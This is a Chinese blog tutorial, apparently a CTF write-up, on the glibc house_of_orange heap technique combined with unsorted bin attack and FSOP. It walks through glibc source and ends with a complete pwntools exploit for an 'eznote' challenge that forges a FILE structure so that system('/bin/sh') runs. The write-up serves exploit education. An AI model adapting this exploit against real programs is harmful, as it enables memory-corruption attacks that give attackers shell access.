首页 > 其他分享 >浅析house_of_orange

浅析house_of_orange

时间:2024-07-22 09:24:45浏览次数:9  
标签:__ fp addr house base IO orange 浅析 size

前言

house系列是glibc高级堆漏洞利用的一系列技术这几天学习了一下house_of_orange。
这里简述我对于house of orange的个人理解。

house_of_orange

house of orange本身的效果很小,主要是在堆题没有delete函数,无法释放堆块时使用,以达到获得一个在unsorted bin中的堆块的效果,但加上两个组合拳(unsorted bin attack和FSOP)则威力就会变的很大。

原理:

我们申请的堆块大小如果大于了top_chunk_size的话,那么就会将原来的top_chunk放入unsorted bin中,然后再映射或者扩展一个新的top chunk出来。

利用过程:

1、先篡改top chunk的size
2、然后申请一个大于top_chunk的size

绕过检查:

我们先来看一下sysmalloc函数的源码(大体上分为两个部分):

1.mmap内存

if (av == NULL
    || ((unsigned long) (nb) >= (unsigned long) (mp_.mmap_threshold)
 && (mp_.n_mmaps < mp_.n_mmaps_max)))
  {
    char *mm;           /* return value from mmap call*/

  try_mmap:
    /*
       Round up size to nearest page.  For mmapped chunks, the overhead
       is one SIZE_SZ unit larger than for normal chunks, because there
       is no following chunk whose prev_size field could be used.

       See the front_misalign handling below, for glibc there is no
       need for further alignments unless we have have high alignment.
     */
    if (MALLOC_ALIGNMENT == 2 * SIZE_SZ)
      size = ALIGN_UP (nb + SIZE_SZ, pagesize);
    else
      size = ALIGN_UP (nb + SIZE_SZ + MALLOC_ALIGN_MASK, pagesize);
    tried_mmap = true;

    /* Don't try if size wraps around 0 */
    if ((unsigned long) (size) > (unsigned long) (nb))
      {
        mm = (char *) (MMAP (0, size, PROT_READ | PROT_WRITE, 0));

        if (mm != MAP_FAILED)
          {
            /*
               The offset to the start of the mmapped region is stored
               in the prev_size field of the chunk. This allows us to adjust
               returned start address to meet alignment requirements here
               and in memalign(), and still be able to compute proper
               address argument for later munmap in free() and realloc().
             */

            if (MALLOC_ALIGNMENT == 2 * SIZE_SZ)
              {
                /* For glibc, chunk2mem increases the address by 2*SIZE_SZ and
                   MALLOC_ALIGN_MASK is 2*SIZE_SZ-1.  Each mmap'ed area is page
                   aligned and therefore definitely MALLOC_ALIGN_MASK-aligned.  */
                assert (((INTERNAL_SIZE_T) chunk2mem (mm) & MALLOC_ALIGN_MASK) == 0);
                front_misalign = 0;
              }
            else
              front_misalign = (INTERNAL_SIZE_T) chunk2mem (mm) & MALLOC_ALIGN_MASK;
            if (front_misalign > 0)
              {
                correction = MALLOC_ALIGNMENT - front_misalign;
                p = (mchunkptr) (mm + correction);
                p->prev_size = correction;
                set_head (p, (size - correction) | IS_MMAPPED);
              }
            else
              {
                p = (mchunkptr) mm;
                set_head (p, size | IS_MMAPPED);
              }

            /* update statistics */

            int new = atomic_exchange_and_add (&mp_.n_mmaps, 1) + 1;
            atomic_max (&mp_.max_n_mmaps, new);

            unsigned long sum;
            sum = atomic_exchange_and_add (&mp_.mmapped_mem, size) + size;
            atomic_max (&mp_.max_mmapped_mem, sum);

            check_chunk (av, p);

            return chunk2mem (p);
          }
      }
  }

这段代码我们只关心以下部分:

if (av == NULL || ((unsigned long) (nb) >= (unsigned long) (mp_.mmap_threshold)
 && (mp_.n_mmaps < mp_.n_mmaps_max)))

即判断所需内存是否大于mmap_threshold,大于这个值才会直接调用mmap来分配内存 (还有一个是限制 mmap的内存数量 要小于 n_mmaps_max,这里我们暂时用不上) 。

2. 增大当前的arena的top chunk(这部分代码较多,只截取部分代码)

在此之前我们先看这一小段代码:

 old_top = av->top;                                          //指向当前的top_chunk的指针
 old_size = chunksize (old_top);                             //当前top_chunk的大小
 old_end = (char *) (chunk_at_offset (old_top, old_size));   //指向当前top_chunk尾部的指针

知道这三个代表什么后,我们来看下一块代码:

brk = snd_brk = (char *) (MORECORE_FAILURE);

/*
   If not the first time through, we require old_size to be
   at least MINSIZE and to have prev_inuse set.
 */

assert ((old_top == initial_top (av) && old_size == 0) ||
        ((unsigned long) (old_size) >= MINSIZE &&
         prev_inuse (old_top) &&
         ((unsigned long) old_end & (pagesize - 1)) == 0));

/* Precondition: not enough current space to satisfy nb request */
assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE));

所以如果我们想要扩展top_chunk必须满足两种条件

条件一:old_top == initial_top (av) && old_size == 0

条件二:(unsigned long) (old_size) >= MINSIZE && prev_inuse (old_top) &&
              ((unsigned long) old_end & (pagesize - 1)) == 0

现在代码部分的分析到此为止了。我们来总结一下我们需要绕过的检查:

1.我们申请的chunk大小一定要小于mmap_threshold(一般为0x2000)。

2.这里虽然有两种情况:

        (1)top chunk是没有被初始化的,并且其size为0。

        (2)原本old_top_chunk的size大于MINSIZE

                 需要保证原本old_top_chunk的prev_inuse位是1

                 原本old_top_chunk的地址加上其size之后的地址要与页对齐

    但是我们只要申请了堆块,那第一种情况我们就无法实现,所以我们着重关注第二种。

unsorted bin attack

这里只简述原理,不再具体分析源码:堆在分配的时候,如果我们申请的堆块大小在small bin或者large bin里面没有找到的话,此时就会从unsorted bin里面去寻找chunk看是否存在合适的内存分配给用户,假设chunk2是符合要求的堆块,这个过程中会把main_arena的地址赋值给chunk1的fd段,让main_arena的bk指针指向chunk1。

也就是说,如果我们能够伪造main_arena或者某一个在unstoredbin的堆块的bk指针,那我们实际上可以实现将main_arena+88/96(具体偏移看libc版本)写入任意地址。

FSOP

在开始源码分析前我们先了解一些东西:

1.FILE结构体会通过struct _IO_FILE *_chain链接成一个链表,64位程序下其偏移为0x60,链表头部用_IO_list_all指针表示。

2._IO_flush_all_lockp这个函数会遍历FILE链表。

源码分析

1.FILE结构体

我们先来看一下查看结构体_IO_FILE_plus的组成:

struct _IO_FILE_plus
{
  _IO_FILE file;
  const struct _IO_jump_t *vtable;
};

 再来看看他的一个组成部分_IO_FILE:

struct _IO_FILE {
  int _flags;       /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

  /* The following pointers correspond to the C++ streambuf protocol. */
  /* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
  char* _IO_read_ptr;   /* Current read pointer */
  char* _IO_read_end;   /* End of get area. */
  char* _IO_read_base;  /* Start of putback+get area. */
  char* _IO_write_base; /* Start of put area. */
  char* _IO_write_ptr;  /* Current put pointer. */
  char* _IO_write_end;  /* End of put area. */
  char* _IO_buf_base;   /* Start of reserve area. */
  char* _IO_buf_end;    /* End of reserve area. */
  /* The following fields are used to support backing up and undo. */
  char *_IO_save_base; /* Pointer to start of non-current get area. */
  char *_IO_backup_base;  /* Pointer to first valid character of backup area */
  char *_IO_save_end; /* Pointer to end of non-current get area. */

  struct _IO_marker *_markers;

  struct _IO_FILE *_chain;

  int _fileno;
#if 0
  int _blksize;
#else
  int _flags2;
#endif
  _IO_off_t _old_offset; /* This used to be _offset but it's too small.  */

#define __HAVE_COLUMN /* temporary */
  /* 1+column number of pbase(); 0 is unknown. */
  unsigned short _cur_column;
  signed char _vtable_offset;
  char _shortbuf[1];

  /*  char* _save_gptr;  char* _save_egptr; */

  _IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
#endif
#if defined _G_IO_IO_FILE_VERSION && _G_IO_IO_FILE_VERSION == 0x20001
  _IO_off64_t _offset;
# if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
  /* Wide character stream stuff.  */
  struct _IO_codecvt *_codecvt;
  struct _IO_wide_data *_wide_data;
  struct _IO_FILE *_freeres_list;
  void *_freeres_buf;
# else
  void *__pad1;
  void *__pad2;
  void *__pad3;
  void *__pad4;
# endif
  size_t __pad5;
  int _mode;
  /* Make sure we don't get into trouble again.  */
  char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
#endif

};

这里我们先不关心结构体内部的东西的具体含义,先了解其内部变量的偏移(这对后面的理解非常重要):

0x0   _flags
0x8   _IO_read_ptr
0x10  _IO_read_end
0x18  _IO_read_base
0x20  _IO_write_base
0x28  _IO_write_ptr
0x30  _IO_write_end
0x38  _IO_buf_base
0x40  _IO_buf_end
0x48  _IO_save_base
0x50  _IO_backup_base
0x58  _IO_save_end
0x60  _markers
0x68  _chain
0x70  _fileno
0x74  _flags2
0x78  _old_offset
0x80  _cur_column
0x82  _vtable_offset
0x83  _shortbuf
0x88  _lock
0x90  _offset
0x98  _codecvt
0xa0  _wide_data
0xa8  _freeres_list
0xb0  _freeres_buf
0xb8  __pad5
0xc0  _mode
0xc4  _unused2
0xd8  vtable

 在这些变量中,我们先记住两个东西:

1.chain域(用来串联各个file结构成单向链表的指针)在0x68的偏移处。

2.vtable域在0xd8的偏移处。

我们再来看看其内的另外一个结构体_IO_jump_t(注意_IO_flow这个地方即可):

struct _IO_jump_t
{
    JUMP_FIELD(size_t, __dummy);
    JUMP_FIELD(size_t, __dummy2);
    JUMP_FIELD(_IO_finish_t, __finish);
    JUMP_FIELD(_IO_overflow_t, __overflow);
    JUMP_FIELD(_IO_underflow_t, __underflow);
    JUMP_FIELD(_IO_underflow_t, __uflow);
    JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
    /* showmany */
    JUMP_FIELD(_IO_xsputn_t, __xsputn);
    JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
    JUMP_FIELD(_IO_seekoff_t, __seekoff);
    JUMP_FIELD(_IO_seekpos_t, __seekpos);
    JUMP_FIELD(_IO_setbuf_t, __setbuf);
    JUMP_FIELD(_IO_sync_t, __sync);
    JUMP_FIELD(_IO_doallocate_t, __doallocate);
    JUMP_FIELD(_IO_read_t, __read);
    JUMP_FIELD(_IO_write_t, __write);
    JUMP_FIELD(_IO_seek_t, __seek);
    JUMP_FIELD(_IO_close_t, __close);
    JUMP_FIELD(_IO_stat_t, __stat);
    JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
    JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
    get_column;
    set_column;
#endif
};

2. _IO_flush_all_lockp

int
_IO_flush_all_lockp (int do_lock)
{
  int result = 0;
  struct _IO_FILE *fp;
  int last_stamp;

#ifdef _IO_MTSAFE_IO
  __libc_cleanup_region_start (do_lock, flush_cleanup, NULL);
  if (do_lock)
    _IO_lock_lock (list_all_lock);
#endif

  last_stamp = _IO_list_all_stamp;
  fp = (_IO_FILE *) _IO_list_all;
  while (fp != NULL)
    {
      run_fp = fp;
      if (do_lock)
	_IO_flockfile (fp);

      if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
	   || (_IO_vtable_offset (fp) == 0
	       && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
				    > fp->_wide_data->_IO_write_base))
#endif
	   )
	  && _IO_OVERFLOW (fp, EOF) == EOF)
	result = EOF;

      if (do_lock)
	_IO_funlockfile (fp);
      run_fp = NULL;

      if (last_stamp != _IO_list_all_stamp)
	{
	  /* Something was added to the list.  Start all over again.  */
	  fp = (_IO_FILE *) _IO_list_all;
	  last_stamp = _IO_list_all_stamp;
	}
      else
	fp = fp->_chain;
    }

#ifdef _IO_MTSAFE_IO
  if (do_lock)
    _IO_lock_unlock (list_all_lock);
  __libc_cleanup_region_end (0);
#endif

  return result;
}

这里我们只关心这一段:

if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
	   || (_IO_vtable_offset (fp) == 0
	       && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
				    > fp->_wide_data->_IO_write_base))
#endif
	   )
	  && _IO_OVERFLOW (fp, EOF) == EOF)
	result = EOF;

观察上面的代码发现,如果我们要想执行_IO_OVERFLOW (fp, EOF)就必须满足两个条件:

1.(fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)

2.(_IO_vtable_offset (fp) == 0
           && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
                    > fp->_wide_data->_IO_write_base))

1部分的条件满足起来很省事,我们只需要让mode=0,_IO_write_ptr=1,_IO_write_base=0即可(这仨值改成其他的也行,只需要满足条件即可),这样就会触发_IO_OVERFLOW。 

攻击方式:

FSOP的核心要义是去篡改_IO_list_all和_chain,来劫持IO_FILE结构体。让IO_FILE结构体落在我们可控的内存上(这段内存我们会伪造一个file结构体),让程序最终从一个伪造的file结构中取出伪造的虚表

原理:

使用_IO_flush_all_lockp来刷新_IO_list_all链表上的所有文件流,也就是对每个流都执行一下fflush,而fflush最终调用了vtable中的_IO_overflow处存放的函数。

也就是说,如果我们将IO_FILE结构体设置在我们可控的内存上,这就意味着我们是可以控制chain和vtable的,我们将chain的值设置好和vtable中的_IO_overflow函数地址改成system地址即可,而这个函数的第一个参数就是IO_FILE结构体的地址,因此我们让IO_FILE结构体中的flags成员为/bin/sh字符串。

同时我们知道_IO_flush_all_lockp这个函数它不需要手动调用,在以下情况下这个函数会被系统调用:

  1. 当 libc 执行 abort 流程时

  2. 当执行 exit 函数时

  3. 当执行流从 main 函数返回时

那么当执行exit函数或者libc执行abort流程时或者程序从main函数返回时触发了_IO_flush_all_lockp即可拿到shell

图示IO调用链:

正常的调用链示意图:

验证:

1.stderr: 

2.stdout:

3.stdin: 

FSOP伪造的调用链图:

伪造方式不为一,你也可以让chain域不空,增加结构体的数量。

例题解析:

eznote:

在程序运行开始时给了堆块的地址,可以得到堆基址。 

 create模块:

允许分配小于0x100的堆块,读取content模块也没有什么漏洞

edit模块给了一个任意大小的溢出漏洞:

 show没什么好说的:

delete模块,没有free任何堆块:

思路很明确,利用edit伪造堆块,先泄露libc后打house_of_orange+FSOP即可。

得到堆基址:

p.recvuntil(b"A gift for you~: 0x")
#heap_base_addr=u64(p.recv(6).ljust(8,b'\x00'))&0xfffffffff000
heap_base_addr=int(p.recv(12),16)&0xfffffffff000
print("heap_base_addr=",hex(heap_base_addr))

利用house_of_orange获得一个unsortedbin里面的堆块:

这里为什么是0xb1?

因为需要此时的(top_chunk_addr+0xb1)&&0xfff=0

create(16,b'aaaa')#0
edit(0,256,p64(0)*3+p64(0xb1))
create(255,b'aaaa')#1

获得libc_base:

把unstoredbin里面的堆块拿出来一小部分,得到libc地址

create(16,b'a'*8)#2
show(2)
__malloc_hook_addr=u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))-0xe8
libc_base_addr=__malloc_hook_addr-libc.sym["__malloc_hook"]
io_list_all_addr = libc_base_addr+libc.sym["_IO_list_all"]

正如上文提到的,在house of orange之后,我们需要打unsorted bin attack将main_arena+88/96的地址写入_IO_list_all。 这里利用溢出,直接去修改chunk的bk指针为_IO_list_all-0x10即可。这样我们_IO_list_all的地址会在后续的调用exit函数中刷新,为了控制权限,我们在修改unsortedbin的bk指针的同时伪造好IO结构体在相应位置即可。

构造如下:

payload2 = p64(0)*2
fake = b"/bin/sh\x00"+p64(0x61)
fake += p64(0)+p64(io_list_all_addr-0x10)
fake += p64(0)+p64(1)#_IO_write_base & _IO_write_ptr
fake = fake.ljust(0xd8,b"\x00")
fake += p64(heap_base_addr+0xf80+0xe0-0x18)#<--vtable
fake += p64(0)*2+p64(system)
payload2 += fake

伪造好堆块在对应位置后,我们再次申请一个 chunk ,通过我们之前学习的 unsortd bin attack 可以知道, _IO_list_all 会被修改成 main_arena_88并且会将该 unsorted bin 放入 small bin:

if (in_smallbin_range (size))
{
    victim_index = smallbin_index (size);
    bck = bin_at (av, victim_index);
    fwd = bck->fd;
}

由于我们申请的堆块还没有申请成功,所以又接着执行,如果我们申请的 chunk 大小不在 small bin 范围内且小于 unsorted_bin_size 的话就会对unsortedbin进行切割,此时的unsortedbin的bk!=fd会进行报错

if (__glibc_unlikely (fwd->bk != bck))
                    {
                      errstr = "malloc(): corrupted unsorted chunks";
                      goto errout;
                    }

从而触发_IO_flush_all_lockp即可拿到shell。

这里可能会遇到有时候无法拿到shell的情况,这是由于FILE结构体内的_mode 的正负性是随机的,影响判断条件,大概有 1/2 的概率会成功。

exp.py

from pwn import *

context(os='linux', arch='amd64', log_level='debug')
#p = remote('ctf.qwq.cc', 10018)
p= process("./eznote")
elf = ELF("./eznote")
libc = ELF("/home/mazhatter/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
'''
patchelf --set-interpreter /opt/libs/2.27-3ubuntu1_amd64/ld-2.27.so ./patchelf
patchelf --replace-needed libc.so.6 /opt/libs/2.27-3ubuntu1_amd64/libc-2.27.so ./patchelf
ROPgadget --binary main --only "pop|ret" | grep rdi
'''

def gdbbug():
    gdb.attach(p)
    pause()

def create(size,content):
    p.recvuntil(b"Your choice :")
    p.sendline(b"1")
    p.recvuntil(b"Length of Note :")
    p.sendline(str(size))
    p.recvuntil(b"Content of Note:")
    p.send(content)

def edit(Index,Length,Content):
    p.recvuntil(b"Your choice :")
    p.sendline(b"2")
    p.recvuntil(b"Index :")
    p.sendline(str(Index))
    p.recvuntil(b"Length of Note :")
    p.sendline(str(Length))
    p.recvuntil(b"Content of Note : ")
    p.send(Content)

def show(index):
    p.recvuntil(b"Your choice :")
    p.sendline(b"3")
    p.recvuntil(b"Index :")
    p.sendline(str(index))


p.recvuntil(b"A gift for you~: 0x")
#heap_base_addr=u64(p.recv(6).ljust(8,b'\x00'))&0xfffffffff000
heap_base_addr=int(p.recv(12),16)&0xfffffffff000
print("heap_base_addr=",hex(heap_base_addr))

create(16,b'aaaa')#0
edit(0,256,p64(0)*3+p64(0xb1))
create(255,b'aaaa')#1
'''
把unstortedbin里面的堆块申请出来,获得libc基址
'''
create(16,b'a'*8)#2
show(2)
__malloc_hook_addr=u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))-0xe8
libc_base_addr=__malloc_hook_addr-libc.sym["__malloc_hook"]
io_list_all_addr = libc_base_addr+libc.sym["_IO_list_all"]
system = libc_base_addr+libc.sym["system"]
print("__malloc_hook_addr=",hex(__malloc_hook_addr))
print("libc_base_addr=",hex(libc_base_addr))
print("io_list_all_addr=",hex(io_list_all_addr))
print("system_addr=",hex(system))

'''
目的:打unsorted bin attack将main_arena+88/96的地址写入_IO_list_all
方法:将unstorted_bin的bk指针指向io_list_all-0x10
'''

'''
准备工作做完,准备伪造io结构体
'''
payload2 = p64(0)*2
fake = b"/bin/sh\x00"+p64(0x61)
fake += p64(0)+p64(io_list_all_addr-0x10)
fake += p64(0)+p64(1)
fake = fake.ljust(0xd8,b"\x00")
fake += p64(heap_base_addr+0xf80+0xe0-0x18)#<--vtable
fake += p64(0)*2+p64(system)
#fake+=p64(system)*3
payload2 += fake


edit(2,300,payload2)
#create(16,b'a'*4)
p.recvuntil(b"Your choice :")
p.sendline(b"1")

p.interactive()

如有错误欢迎评论区指出。

标签:__,fp,addr,house,base,IO,orange,浅析,size
From: https://blog.csdn.net/2301_79327647/article/details/140584565

相关文章

  • 【算法】浅析贪心算法
    贪心算法:高效解决问题的策略1.引言在计算机科学和优化领域,贪心算法是一种常用的解决问题的策略。它以当前情况为基础,做出最优选择,从而希望最终结果也是最优的。本文将带你了解贪心算法的原理、使用方法及其在实际应用中的意义,并通过代码示例和图示帮助大家更好地理解。2......
  • 浅析JS构造函数
    构造函数(ConstructorFunction)是JavaScript中创建对象的一种重要方式,它不仅让我们能够创建具有相似属性和方法的对象,还能充分利用JavaScript的原型继承机制,实现代码的高效复用。本文将深入探讨构造函数的原理、使用方法、与类的关系,以及一些高级用法和注意事项。构造函数的基......
  • 如何用C#代码读取clickhouse位图
    我正在构建一个需要查询Clickhouse的c#服务,我们使用ClickHouse.Client来访问Clickhouse,而该库似乎不支持直接读取咆哮位图,这种情况有什么解决方案吗?感谢任何建议。......
  • OLTP浅析
    一、OLTP的概念OLTP(联机事务处理)是一种用于管理和处理实时交易和业务操作的技术。它专注于处理瞬时、高频的交易,并通过保持数据的一致性和完整性来支持企业的日常运营。OLTP系统通常用于支持企业的交易处理、客户关系管理、订单处理和库存管理等关键业务流程。OLTP的概念可以......
  • 论文《AdaLoRA: Adaptive Budget Allocation for Parameter-Efficient Fine-Tuning》
    在大模型微调的理论中,AdaLoRA方法是一个绕不开的部分。 这篇论文主要提出了一种新的自适应预算分配方法AdaLoRA,用于提高参数高效的微调性能。AdaLoRA方法有效地解决了现有参数高效微调方法在预算分配上的不足,提高了在资源有限情况下的模型性能,为NLP领域的实际应用提供了新的......
  • 三门问题浅析
    三门问题曾出现在我遇到过的一次笔试题中,也困扰了我很长一段时间。翻看了一些博客,现进行一下总结,供以后查阅。0.Introduction三门问题——亦称为蒙提霍尔问题,出自美国的电视游戏节目Let'sMakeaDeal.问题描述如下:参赛者面前有三扇关闭着的门,其中只有一扇门的后面是汽车,另......
  • 供应链场景使用ClickHouse最佳实践
    关于ClickHouse的基础概念这里就不做太多的赘述了,ClickHouse官网都有很详细说明。结合供应链数字化团队在使用ClickHouse时总结出的一些注意事项,尤其在命名方面要求研发严格遵守约定,对日常运维有很大的帮助,也希望对读者有启发。目前供应链数字化ck集群用来存储实时数据,先通过下面......
  • ClickHouse集成LDAP实现简单的用户认证
    1.这里我的ldap安装的是docker版的docker安装的化就yum就好了sudoyuminstalldocker-cedocker-ce-clicontainerd.iodocker-buildx-plugindocker-compose-pluginsudosystemctlstartdocker使用下面的命令验证sudodockerrunhello-worlddockerpullosixia/open......
  • 火山引擎ByteHouse发布高性能全文检索引擎
    更多技术交流、求职机会,欢迎关注字节跳动数据平台微信公众号,回复【1】进入官方交流群。 随着数字时代的发展,数据的来源和生成方式越来越广泛,数据形态也愈加丰富。 以某电商平台的数据情况举例。该电商平台每日产生大量数据,有些为电商平台的订单数据,包括订单号、商品数量、......
  • 「杂题乱刷2」CF1015D Walking Between Houses
    duel到的。题目链接CF1015DWalkingBetweenHouses解题思路一道细节题。思路很简单,肯定是一开始能走的越多越好,因此就有一种较好实现的方案,先每次走\(n-1\)格,但由于每次至少要走一格,因此如果不够走了就把能走的都走掉,之后全走\(1\)步即可。时间复杂度\(O(k)\)。参......